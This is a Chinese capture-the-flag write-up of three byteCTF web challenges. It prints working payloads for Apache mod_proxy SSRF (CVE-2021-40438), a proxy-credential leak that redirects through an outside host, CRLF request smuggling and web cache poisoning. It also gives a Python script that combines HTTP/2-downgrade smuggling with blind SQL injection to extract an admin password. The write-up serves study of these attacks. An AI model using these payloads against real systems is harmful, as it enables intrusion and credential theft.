byteCTF部分Web题目复现

Proxy

代码审计

httpd.conf文件中可以看到代理配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ServerName bytectf

Listen 8123
<VirtualHost "*:8123">
ProxyRequests On

<Proxy "*">
AuthType Basic
AuthName "Only For Internal Use, Password Required"
AuthUserFile password.file
AuthGroupFile group.file
Require group usergroup
Require host web
</Proxy>
</VirtualHost>

Listen 80
<VirtualHost "*:80">
ProxyPass "/" "http://website/" disablereuse=On
</VirtualHost>

8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面

该页面是个纯前端文件

那么我们继续看internal部分的app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, render_template
import requests, os

PROXY_USER = os.getenv('CHALL_PROXY_USER')
PROXY_PASS = os.getenv('CHALL_PROXY_PASS')
PROXIES = {'http': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123', 'https': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123'}

app = Flask(__name__)

@app.route('/')
def main():
return render_template('index.html')

@app.route('/fetch', methods=['POST'])
def fetch():
if not request.form['url']:
return f'Please provide url'
app.logger.info(request.form['url'])

try:
resp = requests.get(request.form['url'], timeout=5, proxies=PROXIES)
except Exception as e:
app.logger.error(f'Error: {e}')
return 'Error'

if resp.status_code == 200:
return resp.text
else:
app.logger.warning(f'Error: status {resp.status_code}')
return 'Error'

if __name__ == '__main__':
app.run()

可以通过fetch路由发出代理请求

思路整理

注意到本题的proxypass就是flag

所以本题的大致解题思路梳理如下

通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass

(当然,赛后梳理思路属于是射箭画靶的行为,比赛尝试了各种手段后才梳理到这条思路,最后也没做出来)

解题

SSRF

代理服务器为Apache 2.4.48

直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48

CVE-2021-40438,该漏洞的具体成因可以参考这篇文章

可以通过如下payload进行SSRF访问到internal页面

1
GET /?unix:AAAAAAA……AA|http://internal/

带出代理密码

注意到题目给出的附件中特意指定了python的requests版本为2.25.1

Python requests库2.25.1及以下版本在处理302跳转时会带着proxy验证头

原因分析:https://github.com/psf/requests/issues/5677

payload:

1
2
3
4
5
POST /unix:AAAA...AAA|http://internal/fetch HTTP/1.1
Host: 47.95.118.231:30888
Content-Type: application/x-www-form-urlencoded

url=https://httpbingo.org/redirect-to?url=https://httpbingo.org/headers

A-ginx

首先感谢超级无敌大学霸Nama的分析

首页登录进去之后是一个发病库(我看了两小时的超级敏感)

可以在上面发布并查询小作文

代码审计

flag藏身处

handler.go里能看到一个GetFlag的路由,跟进flag.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package flag

import (
"fmt"
"net"
"os"
"strings"

"github.com/gin-gonic/gin"
)

var network = "172.16.0.0/12"

func GetFlag(c *gin.Context) {
username := c.GetString("username")
rip := c.Request.Header.Get("X-Sup3r-Re4l-Ip")
ip := net.ParseIP(strings.Split(rip, ":")[0])
_, subnet, _ := net.ParseCIDR(network)

if ip == nil {
c.JSON(200, gin.H{
"status": -1,
"message": "Invalid address",
})
return

} else if !subnet.Contains(ip) {
c.JSON(200, gin.H{
"status": -1,
"message": fmt.Sprintf("Your ip is %s, not in %s.", ip, network),
})
return
}

if username != "admin" {
c.JSON(200, gin.H{
"status": -1,
"message": fmt.Sprintf("You are %s, not admin.", username),
})
return
}
flag := os.Getenv("FLAG")
c.JSON(200, gin.H{
"status": 0,
"flag": flag,
})
}

在X-Sup3r-Re4l-Ip是172.16.0.0/12的子网且username为admin时,访问获取flag

BOT行为分析

pow,没啥好说的

过了pow之后可以让管理员check文章,重点关注check文章部分

注意到有脚本执行函数,可以造成XSS

Aginx服务

注意到服务中存在缓存机制,通过url判断是否返回缓存

如果没有缓存,就发起代理请求,返回的状态码为200时保存缓存

技术要点

我们的最终目的是获得flag。因为BOT的存在,很容易想到通过XSS令BOT访问/flag后,我们再通过某种方式获取flag。

那这个“某种方式”是什么呢?

缓存攻击

在有缓存机制的服务中,如果对缓存处理不当,就有可能进行Web缓存欺骗攻击

缓存攻击图解

简单来说,就是通过构造特殊的访问请求,令代理服务器错误地缓存了本不应该缓存的内容,令该缓存内容变成可以公开访问的公共资源

在本题中,请求的url会经过字符串CheckStaticPath匹配,如果判断为静态内容,就会返回缓存

正则表达式

那么此处要如何进行缓存攻击呢?

请求走私

HTTP请求走私攻击

HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。

我们直接来看下面这个payload

1
2
3
4
5
6
GET /static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

title=xss&content=test

GET请求中的%0D%0A%0D%0A在urldecode之后变成了\r\n\r\n,从而结束当前的GET请求,同时在后面写上一个新的POST请求,就可以将preview界面的内容缓存下来,存在/static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview这个奇奇怪怪的url下面

攻击思路

现在已经有了对BOT进行xss攻击的手段,接下来就是如何获取flag的细节问题了

impakho大佬的wp里,impakho佬使用了这样的手段:

由于文章发表时,通过登录凭据Authorization的值来确定文章作者,而我们自身账号的Authorization我们当然是已知的,所以可以通过XSS,让BOT以我们的Authorization来发表文章,这样我们就能直接在文章列表里看到文章内容。

impakho大佬先以此获得了管理员的密码,得到Authorization,然后再将flag发表到自己的文章列表里,从而得到flag。

出题人给出的标准解法是:

服务端在处理..%2f 时会返回一个302跳转,同时JavaScript会默认的跟随跳转。由此,可以在一个fetch请求中发出两个数据包。

1
2
3
4
5
6
7
8
9
10
11
GET /articles/..%2f..%2fstatic/Kur4ge1337.json HTTP/1.1
xxx

HTTP/1.1 302 Moved Temporarily
Location: /static/Kur4ge1337.json
xxx

GET /static/Kur4ge1337.json HTTP/1.1
xxx

HTTP/1.1 200 OK

即可以令BOT也进行请求走私,在访问/flag时带有管理员的Authorization

然后就是出题人提到的,也是Nama最后给出的简单的非预期解法:

直接把flag污染到缓存中,不需要设置XSS

..%25252f..%25252fstatic%252fibukifalling.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag

把上面的payload直接向bot发送两次,把flag存到对应的缓存中,可以直接访问

A-ginx2

代码审计

大体同A-ginx,不过这一次没有bot了,多了个SQL注入

但是这个WAF基本上把所有能过滤的东西全过滤了😅(800+个关键字,怕了怕了)

不过注意到这里只在aginx端对请求的url进行过滤,可以利用走私绕过WAF

HTTP/2 降级请求走私

贴一篇关于HTTP/2的走私分析

HTTP/2: The Sequel is Always Worse

文章中提到,HTTP/2在和HTTP/1.1互相转换时,可能会出现一些解析上的问题。

例如:HTTP/2是不需要Content-Length的请求头的,但我们发送报文时依然可以带上这个请求头,虽然没有什么实际作用。

不过,当HTTP/2被降级为HTTP/1.1时,如果攻击者故意构造错误的Content-Length,就可以进行请求走私

如上图所示,原始请求body中超出Content-Length所声明长度的部分会被解析成一个新的请求。

本题中,由于WAF不会对body进行检查,所以我们可以把payload写在body里,然后通过上述方式走私至后端。

直接上抄的wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import httpx
import json
from urllib import parse

url = "https://127.0.0.1:30443/v/"
Auth = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM4NjkzMzgsInVzZXJuYW1lIjoiaWJ1a2kifQ.it4eLgAYPlXOtG7adqPgfhmmk2T6M4M7dpsX4iY1f4I"
headers = {'Content-Length':'4'}

def sqli(sql):
query = parse.quote(json.dumps({f"title` OR (SELECT 1 FROM users WHERE username='admin' AND {sql}) OR `title":"n0t_Exsit"}))
data = f'''abcdGET /v/articles?pageNum=0&pageSize=36&query={query} HTTP/1.1
Host: 127.0.0.1:30443
Connection: Keep-Alive
Authorization: {Auth}

'''
with httpx.Client(http2=True, verify=False) as c:
r = c.request("GET",url=url,headers=headers,data=data)
r = c.request("GET",url=url)
obj = json.loads(r.text)
return len(obj['articles']) != 0

passwd = ""
for i in range(1,29):
min = 0x10
max = 128
while abs(max-min) > 1:
mid = (max + min) // 2
payload = f"ASCII(SUBSTR(password,{i},1))>{mid}"
if sqli(payload):
min = mid
else:
max = mid
passwd += chr(max)
print(passwd)

爆出admin密码

用管理员账号登录,可以得到管理员的Authorization

但是注意到此处获取flag时判断IP的XFF头是未知的

我们还需要获取XFF,而此处获取XFF同样可以使用降级走私,不过这一次是把Content-Length改大

连发两次,在返回报文中得到XFF头

最后就可以利用admin的Auth与伪造的XFF头获取flag